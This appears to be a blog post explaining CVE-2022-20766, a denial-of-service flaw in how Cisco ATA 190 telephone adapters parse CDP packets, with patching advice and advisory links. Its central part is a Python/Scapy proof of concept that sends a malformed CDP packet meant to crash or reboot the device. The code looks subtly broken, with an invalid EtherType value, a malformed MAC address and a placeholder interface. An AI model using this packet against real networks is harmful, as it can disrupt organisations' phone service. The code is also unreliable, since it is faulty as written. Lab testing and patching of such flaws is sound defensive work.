In early 2022, a significant vulnerability was discovered in the Cisco ATA 190 Series Adaptive Telephone Adapter, tracked as CVE-2022-20766. This flaw allows a remote attacker to crash or restart a device—completely unauthenticated—by sending specially crafted network packets. If you’re managing Cisco VoIP devices, you must know about this bug, how attackers exploit it, and how to protect your system.

In this post, we’ll break down the vulnerability, show some simple code to help you understand (and test in a lab), and give you links to all the official resources.

What is CVE-2022-20766?

CVE-2022-20766 is a security vulnerability found in the Cisco Discovery Protocol (CDP) implementation inside the Cisco ATA 190 Series firmware. It’s caused by an out-of-bounds read when the device processes certain CDP packets.

The Technical Flaw

The problem is in how the ATA firmware parses incoming CDP packets. If the packet has a malformed structure, the code tries to read more data than was actually received. This causes unpredictable behavior—usually a crash or forced reboot.

> Fact: This type of bug is called an out-of-bounds read. It happens when programs read memory off the end of a buffer. In networked devices, this often leads to a crash.

Simple Lab Exploit Example

You shouldn’t attack production gear, but researchers or defenders might want to test on a lab device. Here’s a basic concept example, using Python and Scapy for crafting packets:

from scapy.all import *

# CDP is usually sent over ETH type x200 and to MAC 01:00:c:cc:cc:cc
cdp_discovery_mac = "01:00:c:cc:cc:cc"
src_mac = "00:11:22:33:44:55"

# Let's craft a malformed CDP packet with bad length
cdp_header = b'\x02\x01'  # CDP version 2, Time to Live 1
# Intentionally making Type-Length-Value go past the packet length
cdp_payload = b'\x01\x00\xFF\xFF' + b'A' * 10  # malformed
packet = Ether(src=src_mac, dst=cdp_discovery_mac, type=x200) / (cdp_header + cdp_payload)

# Send to the local network (replace IFACE with your Ethernet interface)
sendp(packet, iface="eth", count=1)

What this does:
The ATA 190 listens for CDP packets. This code crafts a purposely malformed CDP packet and sends it on the network. If your device is vulnerable, it will crash or restart.

> WARNING: Never run this code on production or someone else’s device. Only test on hardware you own and in isolated labs.

Update the firmware: Cisco has released a patch that fixes this problem.

Official Cisco Security Advisory
- No workarounds: There are no configuration changes to stop this attack without a firmware update.

Download Update

Get the latest firmware from the Cisco Software Download Center.

Cisco Security Advisory:

CVE-2022-20766 - Cisco ATA 190 Series CDP Denial of Service Vulnerability

National Vulnerability Database entry:

NVD - CVE-2022-20766
- Cisco Software Download Portal
- Fun with Scapy: Crafting Layer 2 packets

Summary

CVE-2022-20766 is a nasty bug affecting even the most basic networked equipment. It’s easy to exploit, needs no authentication, and can quickly knock out voice services in organizations using Cisco ATA 190 gear. The only real defense is to patch promptly—so check your devices and update as soon as you can!

Stay safe out there! If you found this helpful, share it with your team or colleagues who use Cisco VoIP tech.

Timeline

Published on: 11/15/2024 16:15:22 UTC
Last modified on: 11/18/2024 17:11:56 UTC